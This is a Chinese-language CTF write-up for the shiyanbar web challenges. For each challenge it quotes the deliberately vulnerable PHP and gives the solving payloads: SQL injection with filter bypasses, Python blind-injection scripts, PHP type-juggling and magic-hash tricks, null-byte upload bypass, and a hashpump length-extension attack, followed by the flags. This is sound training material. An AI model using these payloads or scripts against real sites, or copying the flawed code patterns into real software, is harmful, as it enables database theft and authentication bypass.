实验吧(Web部分)Writeup

PHP大法

题目:http://www.shiyanbar.com/ctf/54

提示访问index.php.txt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
if(eregi("hackerDJ",$_GET[id])) {
echo("<p>not allowed!</p>");
exit();
}

$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "hackerDJ")
{
echo "<p>Access granted!</p>";
echo "<p>flag: *****************} </p>";
}
?>


<br><br>
Can you authenticate to this website?

和XMAN的urlencode差不多的思路,不过XMAN的题目并没有给源码。

url编码会自动解码一次,所以需要将id变量的值进行两次urlencode。

payload:?id=%25%36%38%25%36%31%25%36%33%25%36%62%25%36%35%25%37%32%25%34%34%25%34%61

flag:DUTCTF{PHP_is_the_best_program_language}

NSCTF web200

题目:http://www.shiyanbar.com/ctf/1760

题目给出图片。
题目

直接写解密脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import base64

s='a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws'
flag=''

for i in s:
if((ord(i)>=ord('A') and ord(i)<=ord('Z')) or (ord(i)>=ord('a') and ord(i)<=ord('z'))):
if(ord(i)-13<ord('A') and ord(i)>=ord('A') and ord(i)<=ord('Z')):
flag+=chr(ord(i)+13)
elif(ord(i)-13<ord('a') and ord(i)>=ord('a') and ord(i)<=ord('z')):
flag+=chr(ord(i)+13)
else:
flag+=chr(ord(i)-13)
else:
flag+=i;

flag=flag[::-1]

s=''
flag=base64.b64decode(flag)

for i in range(len(flag)):
s+=chr(ord(flag[i])-1)
s=s[::-1]
print s

flag:flag:{NSCTF_b73d5adfb819c64603d7237fa0d52977}

忘记密码了

题目:http://www.shiyanbar.com/ctf/1808

进入网站step1.php,查看源代码,发现一句<meta name="editor" content="Vim" />

vim编辑,可能存在.xxxx.php.swp的备份文件。尝试了.step1.php.swp.step2.php.swp,都是404,查看step2.php的源码,发现有一个Submit.php,直接访问,提示you are not an admin,访问.submit.php.swp,果然存在,源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
if(!empty($token)&&!empty($emailAddress)){
if(strlen($token)!=10) die('fail');
if($token!='0') die('fail');
$sql = "SELECT count(*) as num from `user` where token='$token' AND email='$emailAddress'";
$r = mysql_query($sql) or die('db error');
$r = mysql_fetch_assoc($r);
$r = $r['num'];
if($r>0){
echo $flag;
}else{
echo "you are not an admin";
}
}

邮箱为admin的邮箱,要求token长度为10,且token需要等于零。

邮箱在step1.php中有提到<meta name="admin" content="admin@simplexue.com" />

token验证可以用php中的0exxxxxxxx绕过。

payload:`?emailAddress=admin@simplexue.com&token=0e11111111`

flag:SimCTF{huachuan_TdsWX}

这个看起来有点简单!

题目:http://www.shiyanbar.com/ctf/33

访问题目地址,给出了一个带?id=1的地址,和一个表格,猜测sql注入。

用常用的',and 1=1,and 1=2,判断存在sql注入。

表格有两列,所以判断数据库中也是两列。

查询数据库名?id=1 union select 1,concat(database()) --,得到库名my_db

查询数据库表名?id=1 union select 1,concat(table_name) from information_schema.tables where table_schema=database() --,得到两个表名,news,thiskey

查询thiskey表的字段名?id=1 union select 1,concat(column_name) from information_schema.columns where table_schema=database() and table_name='thiskey' --,查到字段k0y

爆出字段k0y?id=1 union select 1,concat(k0y) from thiskey --,得到flag。

flag:whatiMyD91dump

上传绕过

题目:http://www.shiyanbar.com/ctf/1781

题目要求上传一个jpg,gif,png格式的文件,但是上传之后有要求是php格式。

上传绕过,在filename后加%00.jpg,在Hex视图下修改目录后空格的2000,即可绕过。

1
2

flag:flag{SimCTF_huachuan}

天网管理系统

题目:http://www.shiyanbar.com/ctf/1810

查看源代码,有注释。

1
<!-- $test=$_GET['username']; $test=md5($test); if($test=='0') -->

让username的MD5和0相等,可以让MD5以0e开头。

0e开头的MD5总结

username输入QNKCDZO,得到/user.php?fame=hjkleffifer,访问页面看到一段php源码。

1
2
3
4
5
6
$unserialize_str = $_POST['password']; 
$data_unserialize = unserialize($unserialize_str);
if($data_unserialize['user'] == '???' && $data_unserialize['pass']=='???')
{
print_r($flag);
}

这段php将post的password值进行了反序列化,得到了一个数组,将数组的user和pass的值和???进行了比较。比较用到了php的弱类型,bool类型的true跟任意字符串可以弱类型相等*

payload:post:a:2:{s:4:"user";b:1;s:4:"pass";b:1;}

flag:ctf{dwduwkhduw5465}

Once More

题目:http://www.shiyanbar.com/ctf/1805

php审计题,源码如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
if (isset ($_GET['password'])) {
if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)
{
echo '<p>You password must be alphanumeric</p>';
}
else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999)
{
if (strpos ($_GET['password'], '*-*') !== FALSE)
{
die('Flag: ' . $flag);
}
else
{
echo('<p>*-* have not been found</p>');
}
}
else
{
echo '<p>Invalid password</p>';
}
}
?>

ereg()函数用%00来截断,password变量的长度要小于8,且大于9999999,用科学记数法,即9e9=910^9,最后加上`-*`即可

payload:?password=9e9%00*-*

flag:CTF{Ch3ck_anD_Ch3ck}

简单的sql注入

题目:http://www.shiyanbar.com/ct f/1875

题目给出了常见的?id=1参数,下面有id的返回值和name的返回值,我们可以通过id的输出来判断到底过滤了什么。

输入union select的时候,union消失了。再加空格之后select也消失了。猜测是过滤了空格,将两个空格中间的字符一起删除。

空格可以使用/**/、()过滤,构造?id=1/**/union/**/select/**/flag/**/from/**/flag/**/where/**/'1'='1,ID部分正常回显,说明可以绕过,单引号闭合就是payload。

payload:?id=1'/**/union/**/select/**/flag/**/from/**/flag/**/where/**/'1'='1

flag:flag{Y0u_@r3_5O_dAmn_90Od}

天下武功唯快不破

题目:http://www.shiyanbar.com/ctf/1854

打开网页,查看源代码,获得提示<!-- please post what you find with parameter:key -->,让我们post参数key。

抓包发现header头中有经过base64编码的flag参数,将参数解码P0ST_THIS_T0_CH4NGE_FL4G:9x3PyMMd9,将参数9x3PyMMd9post却没有结果,题目中说尽快的提交,猜测与时间有关,用python脚本解决。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# -*- coding:utf-8 -*-

import requests
import base64

url='http://ctf5.shiyanbar.com/web/10/10.php'
response=requests.get(url)
head=response.headers
flag=base64.b64decode(head['flag']).split(':')[1]
print flag

post={"key":flag}
result=requests.post(url=url, data=post)

print result.text

flag:CTF{Y0U_4R3_1NCR3D1BL3_F4ST!}

Forbidden

题目:http://www.shiyanbar.com/ctf/21

页面提示Make sure you are in HongKong

直接用burpsuit抓包,修改Accept-Language:的值zh-hk,重放即可得到flag。

flag:123JustUserAGent

简单的sql注入之2

题目:http://www.shiyanbar.com/ctf/1908

?id=1 and 1=1测试,返回SQLi detected!,这是过滤了and?又尝试了很多关键字,都返回SQLi detected!,那可能是过滤了空格。

/**/绕过对空格的过滤,构造测试payload?id=1/**/union/**/select/**/flag/**/from/**/flag/**/where/**/1=1发现正常回显,用单引号闭合就是payload。

payload:?id=1'/**/union/**/select/**/flag/**/from/**/flag/**/where/**/'1'='1

flag:flag{Y0u_@r3_5O_dAmn_90Od}

简单的sql注入之3

题目:http://www.shiyanbar.com/ctf/1909

与前两题类似,也是get参数id进行查询。

输入?id=1,页面正常输出hello,?id=0页面不输出。

输入?id=’页面直接报SQL语法错误。

输入?id=1 and 1=2页面正常 ?id=1’ and ‘1’=’2 页面无输出。

可以看出这是字符型的sql注入,并且没有过滤and',在参数正确的情况下输出Hello,错误的情况下无输出。

可以利用bool型注入,构造payload:?id=1' and ascii(substr((select flag from flag limit 1),1,1))=102 %23

可以显示Hello!,将102改成其他数值就没有返回值。

利用python脚本获得flag。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import requests 
import time

url = 'http://ctf5.shiyanbar.com/web/index_3.php?id='
def check(payload):
url1=url+payload
r = requests.get(url1).content
#print r
return 'Hello' in r
flag=''
s = r'1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM@_{}'
for i in xrange(0,32):
for c in s:
payload = '1\' and ascii(substr((select flag from flag limit 1),'+str(i)+',1))='+str(ord(c))+' %23'
#print payload
if check(payload):
flag += c
break
print flag
if '}' in flag:
break

flag:flag{Y0u_@r3_5O_dAmn_90Od}

Guess Next Session

题目:http://www.shiyanbar.com/ctf/1788

网页上方随机生成的三个随机数,一个输入框,还给出了源码。

1
2
3
4
5
6
7
8
9
10
11
<?php
session_start();
if (isset ($_GET['password'])) {
if ($_GET['password'] == $_SESSION['password'])
die ('Flag: '.$flag);
else
print '<p>Wrong guess.</p>';
}

mt_srand((microtime() ^ rand(1, 10000)) % rand(1, 10000) + rand(1, 10000));
?>

get参数password,与session的参数比较,相等就输出flag。

这题思路猥琐。。。随机数都是骗人的,让两者都为空就行了。

burpsuite抓包,将phpsessid置空,并get参数password为空就行。。

payload:?password= cookie:phpsessid=

flag:CTF{Cl3ar_th3_S3ss1on}

程序逻辑问题

题目:http://www.shiyanbar.com/ctf/62

查看网页源代码,提示index.txt文件,访问看到源代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php


if($_POST[user] && $_POST[pass]) {
$conn = mysql_connect("********", "*****", "********");
mysql_select_db("phpformysql") or die("Could not select database");
if ($conn->connect_error) {
die("Connection failed: " . mysql_error($conn));
}
$user = $_POST[user];
$pass = md5($_POST[pass]);

$sql = "select pw from php where user='$user'";
$query = mysql_query($sql);
if (!$query) {
printf("Error: %s\n", mysql_error($conn));
exit();
}
$row = mysql_fetch_array($query, MYSQL_ASSOC);
//echo $row["pw"];

if (($row[pw]) && (!strcasecmp($pass, $row[pw]))) {
echo "<p>Logged in! Key:************** </p>";
}
else {
echo("<p>Log in failure!</p>");

}
}
?>

post参数username passowrd,查询username对应的password,并将输入的password值的md5值与数据库中的password值比较,一样就输出key。

我们输入的password值是可控的,$sql也需要是可控的。

查询语句是select pw from php where user='$user',我们可以通过闭合等构造sql语句来让$sql变量可控。

username=username' union select md5(1)#,查询语句就变成了select pw from php where user='username' union select md5(1)#',就达到了目的,让row[pw]变成了1的md5值,再让password=1就可以得到flag。

flag:SimCTF{youhaocongming}

登陆一下好吗??

题目:http://www.shiyanbar.com/ctf/1942

思路清奇,手工测试了一下,过滤了or , union , # , select ,* ,/,好像是都被过滤了。没办法看了看writeup。

payload是username=1'='0&password=1'='0

猜测sql查询语句是这样的。

1
$sql = "select user from flag where user='$_POST['user']' and password='$_POST['password']'";

如果按照上面的参数就变成了。

1
$sql = "select user from flag where user='1'='0' and password='=1'='0'";

user=1返回的是0=0,符合条件的,最后就是

1
$sql = “select user from flag where 1 and 1”;

就可以登陆进去了。

flag:ctf{51d1bf8fb65a8c2406513ee8f52283e7}

让我进去

题目:http://www.shiyanbar.com/ctf/1848

先用burpsuite抓包,发现setcookie中有source=0,在cookie中赋值,将其改为1,得到源代码。

hash1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
$flag = "XXXXXXXXXXXXXXXXXXXXXXX";
$secret = "XXXXXXXXXXXXXXX"; // This secret is 15 characters long for security!

$username = $_POST["username"];
$password = $_POST["password"];

if (!empty($_COOKIE["getmein"])) {
if (urldecode($username) === "admin" && urldecode($password) != "admin") {
if ($COOKIE["getmein"] === md5($secret . urldecode($username . $password))) {
echo "Congratulations! You are a registered user.\n";
die ("The flag is ". $flag);
}
else {
die ("Your cookies don't match up! STOP HACKING THIS SITE.");
}
}
else {
die ("You are not an admin! LEAVE.");
}
}

setcookie("sample-hash", md5($secret . urldecode("admin" . "admin")), time() + (60 * 60 * 24 * 7));

if (empty($_COOKIE["source"])) {
setcookie("source", 0, time() + (60 * 60 * 24 * 7));
}
else {
if ($_COOKIE["source"] != 0) {
echo ""; // This source code is outputted here
}
}

samlpe-hash是15位的secret+adminadmin的md5值,要获得flag,要让cookie中的getmein值等于secret+username+password的md5值,password又不能等于admin,所以要利用哈希扩展攻击,这里直接用的hashpump工具。

1
hashpump -s 571580b26c65f306376d4f64e53cb5c7 -d admin -k 20 -a admin

输出结果

1
2
e18dfd8404515016d3aeeea2aa196909
admin\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xc8\x00\x00\x00\x00\x00\x00\x00admin

\x换成%并填入对应位置。
hash2

flag:CTF{cOOkieS_4nd_hAshIng_G0_w3LL_t0g3ther}

因缺思汀的绕过

题目:http://www.shiyanbar.com/ctf/1940

查看源代码,在注释中提示我们看source.txt,获得源码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
<?php
error_reporting(0);

if (!isset($_POST['uname']) || !isset($_POST['pwd'])) {
echo '<form action="" method="post">'."<br/>";
echo '<input name="uname" type="text"/>'."<br/>";
echo '<input name="pwd" type="text"/>'."<br/>";
echo '<input type="submit" />'."<br/>";
echo '</form>'."<br/>";
echo '<!--source: source.txt-->'."<br/>";
die;
}

function AttackFilter($StrKey,$StrValue,$ArrReq){
if (is_array($StrValue)){
$StrValue=implode($StrValue);
}
if (preg_match("/".$ArrReq."/is",$StrValue)==1){
print "水可载舟,亦可赛艇!";
exit();
}
}

$filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)";
foreach($_POST as $key=>$value){
AttackFilter($key,$value,$filter);
}

$con = mysql_connect("XXXXXX","XXXXXX","XXXXXX");
if (!$con){
die('Could not connect: ' . mysql_error());
}
$db="XXXXXX";
mysql_select_db($db, $con);
$sql="SELECT * FROM interest WHERE uname = '{$_POST['uname']}'";
$query = mysql_query($sql);
if (mysql_num_rows($query) == 1) {
$key = mysql_fetch_array($query);
if($key['pwd'] == $_POST['pwd']) {
print "CTF{XXXXXX}";
}else{
print "亦可赛艇!";
}
}else{
print "一颗赛艇!";
}
mysql_close($con);
?>

$filter = “and|select|from|where|union|join|sleep|benchmark|,|(|)“;

经过AttackFilter()函数过滤了这些关键字,所以还有关键字的就不用想了。

要输出flag就要满足mysql_num_rows($query) == 1$key['pwd'] == $_POST['pwd']这两个条件。

没啥思路,看了看dalao的writeup

mysql_num_rows()函数返回结果集中行的数目。我们构造uname让sql语句查询出来的结果是一行就能绕过。Uname = 'or 1 limit 1#,这样sql语句就是SELECT * FROM interest WHERE uname = ''or 1 limit 1#,这样就查询1行,也就能绕过第一个条件。

第二个条件是让查询的pwd的值等于输入的值,此处用的是 ==,根据弱类型,NULL和空字符串是相等的,然后就是绕过pwd了,其实就是一个关键字 with rollup 他经常和group by搭配,用来统计。使用了with rollup数据会多一列,显示统计信息,对应的pwd参数是NULL。用OFFSET参数来跳过前面的数据。最后构造的参数就是uname='or 1 group by pwd with rollup limit 1 OFFSET xx#,xx是猜测的数字。

payload:uname='or 1 group by pwd with rollup limit 1 OFFSET 2#

flag:CTF{with_rollup_interesting}

FALSE

题目:http://www.shiyanbar.com/ctf/1787

题目给出了登录框,点击view source查看源代码。

1
2
3
4
5
6
7
8
9
10
11
12
<?php
if (isset($_GET['name']) and isset($_GET['password'])) {
if ($_GET['name'] == $_GET['password'])
echo '<p>Your password can not be your name!</p>';
else if (sha1($_GET['name']) === sha1($_GET['password']))
die('Flag: '.$flag);
else
echo '<p>Invalid password.</p>';
}
else{
echo '<p>Login first!</p>';
?>

get获得参数name和passowrd,要获得flag,就要让两个参数不相等,但是两个参数的sha1()相等。

这里可以运用数组绕过,sha1的参数必须为字符串,如果为其他的类型,则会直接返回FLASE,让两个参数都为数组的形式,就可以FALSE===FALSE,输出flag。

payload:?name[]=1&password[]=2

flag:CTF{t3st_th3_Sha1}

Forms

题目:http://www.shiyanbar.com/ctf/1819

查看网页源代码。

1
<input type="hidden" name="showsource" value=0>

将type中的hidden去掉,并赋值value=1,提交,就能看到源代码了。

1
2
3
4
5
6
$a = $_POST["PIN"];
if ($a == -19827747736161128312837161661727773716166727272616149001823847) {
echo "Congratulations! The flag is $flag";
} else {
echo "User with provided PIN not found.";
}

让a等于对应的数字,就能得到flag。

flag:ctf{forms_are_easy}

看起来有点难

题目:http://www.shiyanbar.com/ctf/2

题目是一个登陆页面,有回显,用admin,admin测试,发现提示登录失败,错误的用户名和密码,当用户名改为其他时,提示数据库连接失败!,猜测是bool型注入。

先查询passowrd的位数,?admin=admin' AND length(password)=8 -- &pass=admin&action=login,password有8位,就可以用python脚本爆破了!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#-*-coding:utf-8-*-

import requests
import time

url = 'http://ctf5.shiyanbar.com/basic/inject/index.php?admin='

def check(payload):
url1=url+payload
a='登陆失败'
#print url1
r = requests.get(url1).content
#print r
return len(r)==775

flag=''
s = r'1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM@_{}'
for i in xrange(1,9):
for c in s:
payload = 'admin\' AND substr((password),'+str(i)+',1)=\''+c+'\' -- &pass=admin&action=login'
#print payload
if check(payload):
flag += c
break
print flag

在编码方面卡了一阵,最后用len()求长度解决了。

用admin和爆破出来的密码登陆就是flag。

flag:!@#WwwN5f0cu5coM